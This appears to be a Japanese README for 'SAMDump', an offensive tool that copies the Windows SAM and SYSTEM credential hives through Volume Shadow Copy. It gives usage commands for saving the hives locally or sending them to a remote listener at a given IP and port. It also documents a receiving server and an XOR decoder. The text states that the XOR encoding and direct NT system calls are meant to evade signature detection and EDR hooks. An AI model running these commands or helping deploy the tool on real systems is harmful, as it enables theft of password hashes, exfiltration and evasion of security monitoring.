
SAM と SYSTEM ハイブを Volume Shadow Copy (VSS) API を使用して抽出します。外部送信と XOR 難読化オプション付き。C#、C++、Crystal、Python、Rust、Golang、Nim、Deno (Javascript) に対応。
ボリュームシャドウコピーサービス (VSS) を使用してWindowsのSAMおよびSYSTEMファイルを抽出し、複数の流出オプションとXOR難読化を提供するツール:
C++、C#、Crystal、Pythonで実装されており、最新のWindowsバージョンで動作します。
昇格された権限が必要であり、作成されたシャドウコピーは約5分後に自動的に削除されます。
SAMDump.exe [OPTIONS]
Options:
--save-local [BOOL] Save locally (default: false)
--output-dir DIR Output directory (default: C:\Windows\tasks)
--send-remote [BOOL] Send remotely (default: false)
--host IP Host for remote sending (default: 127.0.0.1)
--port PORT Port for remote sending (default: 7777)
--xor-encode [BOOL] XOR Encode (default: false)
--xor-key KEY Enable XOR with specified key (default: SAMDump2025)
--disk DISK Disk for shadow copy (default: C:\)
--help Show this help
エンコードなしでローカル保存:
SAMDump.exe --save-local --output-dir "C:\temp"

XORエンコードでローカル保存:
SAMDump.exe --save-local --xor-encode --xor-key "SAMDump2025"

XORエンコードとデフォルトキーを使用してリモートサーバーに送信:
SAMDump.exe --send-remote --host 192.168.1.72 --port 1234 --xor-encode

server.py は、自動XORデコードとファイル名フォーマット機能を備えた、ネットワーク経由でファイルを受信するPythonサーバーです:
python server.py [OPTIONS]
Options:
--host HOST IP address to listen on (default: 0.0.0.0)
--port PORT Port to listen on (default: 7777)
--xor-key KEY Key for XOR decoding (optional)
特定のインターフェースとポートでXORキーを使用してリスナーを起動:
python server.py --host 192.168.1.72 --port 1234 --xor-key "SAMDump2025"

ファイル名にはIPアドレスと日付が含まれるため、異なるシステムからファイルを送信し、プロセスを自動化できます。
xor-decoder.py は、XORエンコードされたSAMおよびSYSTEMファイルをローカルでデコードするPythonスクリプトです:
python xor-decoder.py [OPTIONS]
Options:
--sam SAM Path to encoded SAM file (required)
--system SYSTEM Path to encoded SYSTEM file (required)
--xor-key KEY XOR key for decoding (default: SAMDump2025)
--output-dir DIR Output directory for decoded files (default: ./decoded)
デフォルトキーでデコード:
python xor-decoder.py --sam sam.txt --system system.txt

カスタムキーと出力ディレクトリでデコード:
python xor-decoder.py --sam sam.txt --system system.txt --xor-key "MyKey" --output-dir ./results

このプロジェクトには、3つの言語で実装されたバージョンが含まれています:
comtypes ライブラリのインストールが必要です (pip install comtypes)このプロセスを自動化したいと考えましたが、私が扱うWindowsのほとんどはVSSを実行しています。ただし、セキュリティソリューションは、シャドウコピーの作成とこれらのファイルの抽出に vssadmin を使用することを検知します。なぜなら、これはよく知られた手法だからです。
このツールは、リモート転送モードを使用する場合、ターゲットファイルシステムに書き込まずにファイルを抽出します。また、XORエンコードは、署名ベースの検出を回避するための基本的な難読化を提供します(リモートモードでも同様です)。
さらに、NT APIコールを活用して、一部の監視やユーザーモードAPIフックをバイパスします。
このツールは、標準のWindows API関数ではなくNTシステムコールを使用しており、一般的に監視されるユーザーモードAPIフックの一部をバイパスできる可能性があります:
NtCreateFile および NtReadFile: シャドウコピー内のSAMおよびSYSTEMファイルへのハンドルを開き、そのバイトを読み取るために使用NtWriteFile: ファイルをローカルに保存するために使用@vx-underground に感謝します。エクスポートアドレステーブル (EAT) トラバーサルコードの最適化を特定し提案してくれました。不必要な NtReadVirtualMemory コールを直接ポインタアクセスに置き換えました。